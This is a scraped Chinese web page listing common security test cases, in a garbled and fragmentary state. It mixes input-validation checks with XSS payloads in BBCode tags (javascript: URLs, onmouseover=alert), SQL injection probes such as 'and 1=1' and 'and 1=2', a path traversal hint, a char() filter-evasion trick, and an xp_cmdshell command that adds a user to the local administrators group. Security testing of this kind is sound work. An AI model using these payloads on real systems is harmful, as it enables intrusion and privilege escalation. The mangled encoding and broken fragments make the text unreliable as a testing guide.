常見安全性測試用例-wenkub
2023-04-09 01:13:21 本頁面
【正文】 六七北京市[/i][u]一二三四五六七北京市[/u][font=微軟雅黑 STYLE=backgroundimage: url(javascript:alert(39。[/img][b STYLE=backgroundimage: url(javascript:alert(39。alert(xss)39。hello39。UBB:，特殊字符等的文件上傳。，是否會出現(xiàn)異常錯誤。注入、身份驗(yàn)證和授權(quán)錯誤.輸入驗(yàn)證客戶端驗(yàn)證 服務(wù)器端驗(yàn)證(禁用腳本調(diào)試，禁用Cookies)（如4,294,967,269），輸入很小的數(shù)(負(fù)數(shù)),如對輸入文字長度有限制,則嘗試超過限制,剛好到達(dá)限制字?jǐn)?shù)時有何反應(yīng),如:~!$%^amp。*()_+:”{}|，輸入字符串中間含空格，輸入首尾空格,null，0x0d 0x0a，如: 要求輸入數(shù)字則檢查正值,負(fù)值,零值（正零，負(fù)零）,小數(shù),字母,空值。下載：1. 避免輸入：\..\web.2. 修改命名后綴。[url=://.****.] 你的網(wǎng)站[/url],比如代碼不完整,代碼嵌套等等.,如樣式,事件等屬性,看是否起作用,看是否起作用[url=javascript:alert(39。)]EMail[/][=yangtao STYLE=backgroundimage: url(javascript:alert(39。))[/img][img]onmouseover=alert(39。XSS39。XSS39。XSS39。XSS39。XSS39。XSS39。hello39。)/ascriptalert(‘xss’)。)。 b=”。 and And 1=1 。%20AND%201=2‘a(chǎn)nd 1=1 。and 1=2exec master..xp_cmdshell “net localgroup name administrators /add”—and 0(select count(*) from admin)簡單的如where xtype=’U’，字符U對應(yīng)的ASCII碼是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where nam
畢業(yè)設(shè)計(jì)相關(guān)推薦
鄂ICP備17016276號-1